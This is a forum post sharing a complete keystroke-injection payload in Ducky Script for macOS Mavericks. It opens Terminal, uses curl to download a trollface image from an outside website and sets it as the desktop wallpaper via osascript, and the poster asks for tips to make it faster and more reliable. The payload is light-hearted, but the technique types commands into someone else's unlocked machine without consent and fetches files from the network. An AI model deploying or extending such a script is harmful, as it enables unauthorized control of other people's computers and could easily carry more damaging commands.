This is my first payload - it works with Mavericks and doesn't require any password input. It downloads a 1920x1080 trollface picture and sets it as the desktop background.
If you want a different picture just change the url. And if you want the new picture to have a relevant filename, make sure you change it on both the "curl" and "osascript" lines
DELAY 1000
GUI SPACE
DELAY 200
STRING terminal
DELAY 2000
ENTER
DELAY 1000
STRING cd ../Shared
ENTER
STRING curl -o 'trollface.jpg' 'http://khongthe.com/wallpapers/entertainment/trollface-1080p-32389.jpg'
ENTER
STRING osascript -e 'tell application "Finder" to set desktop picture to POSIX file "/Users/Shared/trollface.jpg"'
ENTER
edit: After trying different combinations of delays, I found the above to have the most consistent success out of the several I tried (still not applaudable though). The whole comand-space, search, launch process on OS X seems to be a bit fickle. Does anyone have any tips to shave time off and/or have it be more consistently successful?